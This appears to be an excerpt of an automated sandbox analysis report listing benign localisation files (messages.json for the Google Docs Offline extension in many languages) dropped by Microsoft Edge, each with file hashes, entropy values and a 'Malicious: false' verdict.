SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
